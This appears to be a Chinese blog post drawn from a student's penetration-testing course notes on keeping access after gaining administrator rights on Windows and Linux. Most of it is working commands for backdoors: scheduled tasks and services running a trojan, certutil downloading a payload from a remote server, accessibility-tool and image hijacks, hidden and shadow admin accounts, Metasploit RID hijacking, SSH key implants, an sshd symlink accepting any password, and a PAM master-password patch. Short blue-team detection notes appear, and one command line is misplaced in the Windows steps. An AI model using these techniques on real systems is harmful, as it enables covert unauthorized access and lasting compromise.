本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。

权限维持是获取到操作系统最高管理员后进行的内网渗透操作 (实际工作中需要有明确授权才能进行该步骤)

windows权限维持

计划任务

图形化

命令

  • at:windows vista 之前的计划任务
  • schtasks: windows vista 之后的计划任务

windows的缓存:C:\Windows\Temp

创建计划任务

schtasks /create /tn 计划任务的名称 /tr 实际要运行的程序 /sc minute /mo 1

创建了一个名字叫 kls的计划任务,每分钟运行一次 C:\windows\temp\123.exe 文件

schtasks /create /tn "kls" /tr "C:\windows\temp\123.exe" /sc minute /mo 1

因为攻击机没有开启监听

创建了一个名字叫 kls6 的计划任务,每周一早晨 6:00 执行一次 C:\windows\temp\10001.exe 文件

schtasks /create /tn "kls6" /tr "C:\windows\temp\123.exe" /sc weekly /d mon /st 06:00

蓝队视角 - 入侵排查 - 删除计划任务

schtasks /delete /tn 计划任务的名字

镜像劫持

HKLM\software\microsoft\windows nt\currentverison\image file execution options

劫持 notepad.exe 为 cmd.exe

windows+R:regedit

1 在 image file execution options 新建项,项名是想劫持的文件名,如 notepad.exe

2 新建一个字符串值 Debugger

cat /root/.ssh/id_rsa.pub >> /root/.ssh/authotized_keys

3 修改 Debugger的值为目标文件的绝对路径 C:\windows\system32\cmd.exe

打开记事本软件,实际打开的是 cmd

劫持无障碍工具

无障碍工具可以在windows的任何情况下运行,比如锁屏页面

  • 粘滞键 sethc.exe 按5次shift触发
  • 放大镜 magnify.exe
  • 屏幕键盘 osk.exe
  • 轻松访问 utilman.exe
  • 讲述人 narrator.exe

劫持粘滞键

劫持放大镜

后门用户

创建普通的管理员用户

net user han 1qaz@WSX /add && net localgroup administrators han /add

隐藏用户 $

windows 系统用户名后加 $ 代表隐藏用户

net user 用户名$ 密码 /add

怎么发现隐藏用户?

1 看用户组

net localgroup administrators

2 控制面板

3 注册表

HKLM\SAM\SAM

默认没有权限查看

怎么删除隐藏用户?

net user han2$ /del

RID 劫持

创建一个与 administrator 相同权限的 不受限制的管理员用户

1 先创建一个普通的隐藏用户

2 上线meterpreter

3 开始 rid 劫持

use post/windows/manage/rid_hijack

msf post(windows/manage/rid_hijack) > set session 1
session => 1
msf post(windows/manage/rid_hijack) > set username a$
username => a$
msf post(windows/manage/rid_hijack) > options

记得提权

劫持成功, a$ 就是 administrator 用户,登录 a$ 就是完整的管理员权限

影子账户

1 先创建一个隐藏用户

net user b$ 1qaz@WSX /add

2 打开注册表,找到 administrator 用户和对应的 hex 文件夹

3 复制 administrator hex 文件夹中对应的F值

选择完整,再 ctrl c 复制

4 粘贴到 b$ 用户对应的 hex 文件夹的 F 值

5 分别导出 b$ 用户对应的文件夹 和 hex 文件夹

6 删除 b$ 用户

7 双击导入刚刚导出的 1.reg 和 2.reg

8 这时候系统中就会有一个实际不存在的用户 b$

该用户具有完整的管理员权限, b$ 用户 可以实现 RDP 远程登录

蓝队视角 :如何排查影子账户

影子账户只有在注册表中才能看到,其他位置均无法发现

开机自启动

注册表

不登录、不启动

HKLM\software\microsoft\windows\currentversion\run HKCU\software\microsoft\windows\currentversion\run

服务开机自启动 service

不登录、也启动

1 创建服务

服务使用exe,必须是特殊的exe,需要重新生成木马

cobaltstrike 也能实现

sc create 服务名 binPath= "exe的路径" start= auto

⚠️ binPath= “exe的路径” 和 start= auto 等于号的左边不能有空格,右边必须有空格

start = auto

start=auto

start =auto

start= auto

certutil -urlcache -split -f http://云服务器IP:端口/12_service.exe

重启靶机等待

不登录,服务就会自动启动

入侵排查角度: 如何删除服务?

注册表与服务开机自启动区别:

注册表需要登录进去到桌面,服务开机自启动,无登录就可以上线

Linux 权限维持

ssh 公钥权限维持

1 生成公私钥对 (centos)

2 把公钥追加到 /root/.ssh/authorized_keys

cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys

3 把私钥传给攻击机,攻击机即可使用私钥登录目标的ssh服务

ssh root@192.168.79.130 -i id_rsa

ssh 软链接

低版本的ssh服务中存在

1 寻找sshd位置

2 创建软链接

ln -sf /usr/sbin/sshd /tmp/su

3 使用软链接启动新的 ssh 服务

/tmp/su -oPort=7777

新启动的7777端口的ssh服务,是匿名服务,使用任意密码均可登录

ssh 隐身登录

ssh -T 用户名@ip地址 /bin/bash -i

w 查看 登录(看不到)

pam 后门

pam是什么: pam是linux的身份验证机制 (pam_unix.so)

攻击者替换原有的 pam 文件

1 找到靶机的pam在哪

find / -name "pam_unix.so" 2>/dev/null

/usr/lib/x86_64-linux-gnu/security/pam_unix.so

docker中也有pam

2 下载 pam 的源码 ,并解压

https://ftp2.osuosl.org/pub/blfs/conglomeration/Linux-PAM/

wget https://ftp2.osuosl.org/pub/blfs/conglomeration/Linux-PAM/Linux-PAM-1.1.8.tar.bz2

3 修改 pam 的源码

Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

代码解释:判断用户输入的密码 p 和 123han 是否相等,如果相等就登录成功

4 编译 pam

安装 gcc

apt install gcc flex make

编译

在 /home/yu/桌面/Linux-PAM-1.1.8 目录下 进行

./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr

5 备份和替换系统原有的pam文件

cp /usr/lib/x86_64-linux-gnu/security/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so.bak

mv /home/yu/桌面/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so

/home/yu/Desktop/自己的路径

6 这时,使用 123han 密码即可登录靶机任意用户的ssh服务,且靶机原有正确密码不受影响

原理:

正常pam

植入后门之后的pam